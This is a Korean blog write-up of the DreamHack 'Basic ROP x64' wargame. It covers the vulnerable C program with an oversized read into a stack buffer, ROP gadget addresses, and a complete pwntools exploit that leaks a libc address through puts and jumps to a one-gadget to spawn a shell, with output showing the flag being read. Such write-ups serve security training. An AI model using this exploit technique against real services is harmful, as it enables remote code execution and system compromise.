WriteUp/DreamHack

DreamHack : Basic ROP x64

vared 2020. 11. 19. 14:06
Ubuntu 16.04
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

read 함수랑 write 함수가 있다.
이제 두 함수를 이용해서 system("/bin/sh") 를 실행해 보자.

시나리오는 다음과 같다.

먼저 write 함수를 이용해서 read의 GOT를 빼오고 libc_base 주소를 계산한다. 이후에 또 read 함수를 이용해서 write의 got에 system 함수의 주소를 적어주고, 그 인자를 주면된다. 인자는 /bin/sh 이다

64비트상에서는

PAYLOAD :

Dummy(64) + SFP(8) + Gadget(pppr) + Read_argv[1] + Read_argv[2] + Read_argv[3] + Read_addr + Gadget(pr) + system_argv[1] + System_addr

Read 함수를 이제 Write 함수의 GOT 에 써주기 위해서는 다음과 같은 형태여야 한다.

Read(0,Write_GOT,8)

이제 필요한 것들을 구해보자.

  1. Gadget

    pppr : 0x40087e

    pr : 0x400882

     --
       40087e:       41 5d                   pop    %r13
       400880:       41 5e                   pop    %r14
       400882:       41 5f                   pop    %r15
       400884:       c3                      retq
  2. /bin/sh 문자열을 찾는 방법이다.

vared_1804@DESKTOP-SGQOMCP:basic_rop_x64$ strings -tx libc.so.6 |grep "/bin/sh"
 18cd57 /bin/sh

**** 이거 하다가 가젯이 지시하는 메모리가 맞지 않아서 실패했다.

그래서 다른 가젯을 찾아보다가 OneShot gadget 에 대해서 알았는데 이걸 쓰는게 더 좋을 것 같다. 또 더 심플한 가젯을 위해 write를 사용하는 것 보다 puts 함수를 사용했다.

기본적인 구조는 같다.

from pwn import *

#context.log_level = "debug"

#p = process("./basic_rop_x64")
p = remote("host1.dreamhack.games",11257)
e = ELF("./basic_rop_x64")
libc = ELF("libc.so.6")

puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_addr = ""

pr_gadget = 0x400883

pay =""
#dummy
pay += "A"*64
pay += "B"*8
#write(1,read_got,8)
pay += p64(pr_gadget)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(e.symbols['main'])
p.sendline(pay)

p.recv(0x40)
for i in range(6):
    puts_addr = p.recv(1).encode("hex") + puts_addr
puts_addr = "0x"+puts_addr
print("Leaked PUTS Address! : "+puts_addr)

libc_base = int(puts_addr,16) - libc.symbols['puts']

onegadget = libc_base+0x45216

pay =  ""
pay += "A"*64
pay += "B"*8
pay += p64(onegadget)
p.sendline(pay)

p.interactive()
[+] Opening connection to host1.dreamhack.games on port 11257: Done
[*] '/mnt/d/OneDrive/Hacking/dreamHack/basic_rop_x64/basic_rop_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/d/OneDrive/Hacking/dreamHack/basic_rop_x64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Leaked PUTS Address! : 0x7f51b7c16690
[*] Switching to interactive mode

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls
basic_rop_x64
flag
$ cat flag
DH{-----flag-----}[*]